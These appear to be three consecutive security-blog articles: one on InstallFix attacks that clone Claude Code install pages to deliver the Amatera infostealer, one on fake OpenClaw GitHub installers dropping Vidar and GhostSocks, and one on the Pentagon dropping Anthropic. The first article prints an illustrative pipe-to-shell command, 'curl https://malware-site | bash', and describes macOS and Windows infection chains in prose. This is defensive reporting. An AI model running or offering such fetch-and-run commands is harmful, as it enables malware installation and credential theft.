Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.

Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter.​ That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.

Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.

But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.

It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.

But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.

Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.

The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.

Windows and Mac

The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.

On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it. 

On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.

How to stay safe

With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Attackers are abusing OpenClaw’s popularity by seeding fake “installers” on GitHub, boosted by Bing AI search results, to deliver infostealers and proxy malware instead of the AI assistant users were looking for.

OpenClaw is an open‑source, self‑hosted AI agent that runs locally on your machine with broad permissions: it can read and write files, run shell commands, interact with chat apps, email, calendars, and cloud services. In other words, if you wire it into your digital life, it may end up handling access to a lot of sensitive data.

And, as is often the case, popularity brings brand impersonation. According to researchers at Huntress, attackers created malicious GitHub repositories posing as OpenClaw Windows installers, including a repo called openclaw-installer. These were added on February 2 and stayed up until roughly February 10, when they were reported and removed.

Bing search results pointed victims to these GitHub repositories. But when the victim downloaded and ran the fake installer, it didn’t give them OpenClaw at all. The installer dropped Vidar, a well‑known information stealer, directly into memory. In some cases, the loader also deployed GhostSocks, effectively turning the victim’s system into a residential proxy node criminals could route their traffic through to hide their activities.

How to stay safe

The good news is that the campaign appears to have been short-lived, and there are clear indicators and mitigations you can use.

If you downloaded an OpenClaw installer recently from GitHub after searching “OpenClaw Windows” in Bing, especially in early February, you should assume your system is compromised until proven otherwise.

Vidar can steal browser credentials, crypto wallets, and data from applications like Telegram. GhostSocks silently turns your machine into a proxy node for other people’s traffic. That’s not just a privacy issue. It can drag you into abuse investigations when someone else’s attacks appear to come from your IP address.

If you suspect you ran a fake installer:

• Disconnect the machine from your network, then run a full system scan with a reputable, up‑to‑date anti‑malware solution.
• Change passwords for critical services (email, banking, cloud, developer accounts) and do that on a different, clean device.
• Review recent logins and sessions for unusual activity, and enable multi‑factor authentication (MFA) where you haven’t already.

If you’re still intent on using OpenClaw:

• Run OpenClaw (or similar agents) in a sandboxed VM or container on isolated hosts, with default‑deny egress and tightly scoped allow‑lists.
• Give the runtime its own non‑human service identities, least privilege, short token lifetimes, and no direct access to production secrets or sensitive data.
• Treat skill/extension installation as introducing new code into a privileged environment: restrict registries, validate provenance, and monitor for rare or newly seen skills.
• Log and periodically review agent memory/state and behavior for durable instruction changes, especially after ingesting untrusted content or shared feeds.
• Understand and provide for the event where you may need to nuke‑and‑pave: keep non‑sensitive state snapshots handy, document a rebuild and credential‑rotation playbook, and rehearse it.
• Run an up-to-date, real-time anti-malware solution that can detect information stealers and other malware.

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

On Friday the US Pentagon cut ties with Anthropic, the company behind Claude AI. Defense Secretary Pete Hegseth designated the San Francisco-based company a “supply-chain risk to national security.”

The supply-chain risk designation means that no contractor, supplier, or partner doing business with the US military can deal with Anthropic. The label previously applied only to foreign adversaries like Huawei, though, and using it against a US company marks a rare escalation in a government-industry dispute. According to reports, President Donald Trump also ordered every federal agency to stop using Anthropic’s technology.

What Anthropic wouldn’t budge on

Anthropic called the designation “unlawful and politically motivated” and said it intends to challenge it in court.

At the center of the dispute is how far Anthropic believes its models should be allowed to go inside military systems. Anthropic, which was the first frontier AI company deployed on the military’s classified networks, wanted two contractual restrictions on its AI model Claude, as outlined in its response to the Pentagon’s announcement. It forbade the Pentagon to use its tech for the mass domestic surveillance of Americans and did not want its tech employed in fully autonomous weapons.

The Pentagon had previously demanded that all AI vendors agree to “all lawful purposes” language as part of their contracts. Anthropic told ABC that what the Pentagon finally offered left the door open for the government to violate the company’s no-surveillance and no-weapons clauses.

Defense Secretary Hegseth responded with a statement cancelling Anthropic’s $200m Pentagon contract, awarded last July. He accused Anthropic of attempting to seize veto power over military operations and called the company’s position fundamentally incompatible with American principles.

Anthropic’s CEO Dario Amodei called the government’s response retaliatory and punitive and promised to challenge the designation in court.

Legal scholars suggest that the AI company could have a strong case, questioning whether Hegseth can meet the statutory requirements for such a designation, which is allegedly intended to protect military systems from adversarial sabotage rather than resolving a commercial disagreement over contract terms.

Dan W. Ball, senior fellow at the American Foundation for Innovation, called the Pengaton’s move “attempted corporate murder,” arguing that Google, Amazon, and NVIDIA would have to detach themselves from Anthropic if Hegseth got his way. Amazon is Anthropic’s primary cloud computing provider, but it also uses Google’s data centers extensively. Both companies are investors in Anthropic, as is NVIDIA, which also partners with the AI company on GPU engineering. If the Pentagon’s designation restricts federal contractors from integrating Anthropic technology into defense-related systems, those partners could be required to separate or ringfence any federal-facing work involving the company.

OpenAI steps in

In a whirlwind of policy changes by the US military, the Pentagon also signed a deal with ChatGPT creator OpenAI on Friday evening, just a few hours after dropping Anthropic.

OpenAI CEO Sam Altman said the agreement preserved the same principles Anthropic had been blacklisted for defending.

The difference, according to Altman, is the enforcement mechanism. Instead of hard contractual prohibitions, OpenAI accepted the “all lawful purposes” framework but layered on architectural controls: cloud-only deployment, a proprietary safety stack the Pentagon agreed not to override, and cleared engineers embedded forward. OpenAI said these protections made the company confident that the Pentagon couldn’t cross the red lines it shares with Anthropic.

Altman reportedly said Anthropic’s approach differed because it relied on specific contract language rather than existing legal protections, adding Anthropic “may have wanted more operational control than we did.”

The morning after

The policy dispute did not immediately change how existing systems were operating. According to reporting by The Wall Street Journal and Axios, US Central Command used Anthropic’s AI during Operation Epic Fury, a coordinated US–Israeli operation targeting Iran. The outlets reported that the system was used for intelligence assessment, target analysis, and operational modeling.

Claude remained in use because it was already embedded in certain classified military systems. As a senior defense official previously told Axios:

“It will be an enormous pain in the ass to disentangle, and we are going to make sure they pay a price for forcing our hand like this.”

Hegseth announced a six-month period during which the Pentagon will pick Anthropic’s AI out of its systems.

Consumers vote with their feet

The dispute has also prompted reactions from some AI industry employees and users. More than 875 employees across Google and OpenAI signed an open letter backing Anthropic’s stance. According to the letter:

“They’re trying to divide each company with fear that the other will give in. That strategy only works if none of us know where the others stand.”

A consumer boycott, organized under the name QuitGPT, is organizing a campaign to avoid using ChatGPT, along with a protest at OpenAI’s HQ this week. Claude also rocketed to the top of Apple’s App Store over the weekend.

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.